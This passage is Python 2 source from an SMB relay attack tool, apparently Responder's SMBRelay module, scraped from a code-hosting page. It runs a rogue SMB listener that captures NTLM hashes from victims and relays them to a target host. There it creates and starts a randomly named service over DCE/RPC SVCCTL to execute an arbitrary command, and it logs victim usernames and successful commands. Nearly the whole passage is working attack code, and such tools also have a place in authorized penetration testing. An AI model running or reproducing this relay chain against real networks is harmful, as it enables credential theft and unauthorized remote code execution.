print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
if NthashLen == 24:
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
return Domain
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
DialectStart = data[40:]
|
||||
pack = tuple(DialectStart.split('\x02'))[:10]
|
||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||
test = tuple(var)
|
||||
if test[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if test[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if test[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if test[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if test[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if test[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if test[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if test[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if test[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if test[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if test[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
def SmbRogueSrv139(key,Target,DomainMachineName):
|
||||
s = socket(AF_INET,SOCK_STREAM)
|
||||
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||
s.settimeout(30)
|
||||
try:
|
||||
s.bind(('0.0.0.0', 139))
|
||||
s.listen(0)
|
||||
conn, addr = s.accept()
|
||||
except error, msg:
|
||||
if "Address already in use" in msg:
|
||||
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = conn.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
conn.send(buffer0)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
||||
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
Credz = ParseHash(data,addr[0],Target)
|
||||
return Credz
|
||||
except:
|
||||
return None
|
||||
|
||||
def RunRelay(host, Command,Domain):
|
||||
Target = host
|
||||
CMD = Command
|
||||
print "Target is running: ", RunSmbFinger((host, 445))
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect((host, 445))
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
Key = ParseAnswerKey(data,host)
|
||||
DomainMachineName = ParseDomain(data)
|
||||
if data[8:10] == "\x72\x00":
|
||||
try:
|
||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||
if a is not None:
|
||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||
if Domain == None:
|
||||
Domain = OriginalDomain
|
||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||
pass
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
||||
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
except:
|
||||
raise
|
||||
a = None
|
||||
if data[8:10] == "\x73\x6d":
|
||||
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
if data[8:10] == "\x73\x0d":
|
||||
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
## NtCreateAndx
|
||||
if data[8:10] == "\x73\x00":
|
||||
print "[+] Authenticated, trying to PSexec on target !"
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBNTCreateData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\xa2\x22":
|
||||
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||
## DCE/RPC Write.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
x = SMBDCEData()
|
||||
x.calculate()
|
||||
f = data[42:44]
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenManagerW.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLCreateService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||
print "[+] Creating service"
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
ContextHandler = data[88:108]
|
||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to create the service"
|
||||
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLStartService.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||
print "[+] Failed to open the service"
|
||||
ContextHandler = data[88:108]
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x2e\x00":
|
||||
print "[+] Command successful !"
|
||||
Logs.info('Command successful:')
|
||||
Logs.info(Target+","+Username+','+CMD)
|
||||
return True
|
||||
if data[8:10] != "\x2e\x00":
|
||||
return False
|
||||
|
||||
|
||||
def RunInloop(Target,Command,Domain):
|
||||
try:
|
||||
while True:
|
||||
worker = RunRelay(Target,Command,Domain)
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
raw_input()
|
Loading…
Add table
Add a link
Reference in a new issue